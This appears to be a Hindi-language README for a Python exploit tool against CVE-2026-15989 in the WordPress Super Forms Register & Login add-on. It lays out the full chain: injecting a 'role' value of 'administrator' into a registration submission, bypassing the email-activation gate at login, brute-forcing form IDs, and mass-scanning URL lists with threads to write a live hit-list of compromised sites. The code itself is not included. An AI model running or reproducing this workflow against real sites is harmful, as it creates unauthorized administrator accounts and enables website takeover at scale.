
CVE-2026-15989 के लिए Python PoC स्कैनर, जो WordPress Super Forms में अनधिकृत भूमिका इंजेक्शन का उपयोग करके एडमिन खाते बनाता है और पहुँच सत्यापित करता है।
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 फिंगरप्रिंट-मुक्त ऑटो-डिस्कवरी · वैलिडेशन-जागरूक पेलोड · शून्य प्रमाणीकरण · ईमानदार वर्गीकरण
| WordPress प्लगइन | Super Forms – Drag & Drop Form Builder (Register & Login ऐड-ऑन) |
| प्रभावित संस्करण | <= 6.3.316 |
| पैच किया गया संस्करण | 6.3.317 |
| प्रमाणीकरण | ❌ किसी की आवश्यकता नहीं — कोई भी प्रकाशित पंजीकरण फ़ॉर्म पर्याप्त है |
| CVSS | 9.8 CRITICAL |
role कुंजी → एडमिनिस्ट्रेटर निर्माणGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
ऐड-ऑन
$data['role']['value']को सीधे user-data array में कॉपी करता है, बिना इसे एडमिन-कॉन्फ़िगर किए गएregister_user_roleके विरुद्ध सत्यापित किए, बिना किसी allow-list के और बिना किसी capability जाँच के — एक ही इंजेक्ट किया गया"role": {"value":"administrator"}फ़ील्ड जीत जाता है।
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
ऐड-ऑन अपने email-activation / moderation गेट को केवल तब लागू करता है जब POST action
super_submit_formन हो — इसलिए वही फ़ॉर्म action जो उपयोगकर्ता को पंजीकृत करता है, उसमें लॉगिन करने को भी अनलॉक कर देता है, किसी भी ईमेल सत्यापन से पहले।
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
गैर-पंजीकरण फ़ॉर्म भी
error:falseउत्तर देते हैं, इसलिए प्रत्येक स्वीकृत id केवल एक उम्मीदवार है जब तक क्रेडेंशियल को वास्तविक लॉगिन से सिद्ध न किया जाए।
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — प्रति पंक्ति एक बेस URL:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| विकल्प | विवरण |
|---|---|
--list FILE | लक्ष्य फ़ाइल — प्रति पंक्ति एक URL (आवश्यक) |
--output, -o FILE | हिट-लिस्ट — केवल VULNERABLE लक्ष्य लाइव लिखे जाते हैं (ANSI-मुक्त) |
--threads N | समवर्ती लक्ष्य वर्कर (डिफ़ॉल्ट 10) |
--timeout N | प्रति-अनुरोध सॉकेट टाइमआउट सेकंड में (डिफ़ॉल्ट 10) |
--full | पूरी चेन चलाएँ — फ़ॉर्म-ID ब्रूट फ़ॉलबैक जोड़ता है (कमज़ोर लक्ष्यों पर अकाउंट बनेंगे) |
| स्थिति | अर्थ |
|---|---|
VULNERABLE | अकाउंट बनाया गया और wp-admin एडमिनिस्ट्रेटर एक्सेस सिद्ध (200) |
NOT-VULNERABLE | लॉगिन ठीक लेकिन एडमिन पेज 403 — role अनदेखा → पैच किया गया बिल्ड |
UNVERIFIED | सबमिशन स्वीकृत लेकिन लॉगिन अस्वीकृत (लॉक/पेंडिंग अकाउंट या गैर-पंजीकरण फ़ॉर्म) — कभी भी मौन गलत सकारात्मक के रूप में रिपोर्ट नहीं किया जाता |
BLOCKED | सबमिशन अस्वीकृत (reCAPTCHA, CSRF, आवश्यक फ़ील्ड, honeypot…) |
ERROR | अगम्य लक्ष्य / DNS विफलता — सटीक कारण के साथ रिपोर्ट किया गया |
wp-json + ?rest_route= फ़ॉलबैक) → sitemap इंडेक्स → 40+ बहु-भाषी पंजीकरण पथ (/register, /kayit-ol, /registrieren…) → ?page_id=N प्रोब; किसी भी थीम, पेज बिल्डर और परमालिंक शैली के साथ काम करता हैdata-validation प्रकार (email, number, date, time, phone, IBAN, color, URL)super_create_nonce जो _sfs_id सत्र से बंधा है; ब्रूट प्रयासों को अपना स्वयं का सत्र मिलता है ताकि nonces एक-दूसरे को अमान्य न करेंVULNERABLE केवल तब जब wp-admin एक्सेस सिद्ध हो; पैच किए गए बिल्ड 403 प्रोब द्वारा अलग किए जाते हैं; लॉक किए गए अकाउंट UNVERIFIED के रूप में सामने आते हैंaction=super_submit_form होता है, जो ऐड-ऑन के email-verification / moderation गेट को छोड़ देता है{{ data.url }}), नियंत्रण वर्ण और IDN/तुर्की-स्लग होस्ट स्वतः साफ़ किए जाते हैं--output केवल पुष्ट लक्ष्य रिकॉर्ड करता है, लाइव जोड़े जाते हैं, हमेशा सादा टेक्स्ट (grep/parse अनुकूल)rich के बिना सुंदर सादा-टेक्स्ट फ़ॉलबैकrich वैकल्पिक आँखों की मिठाई है)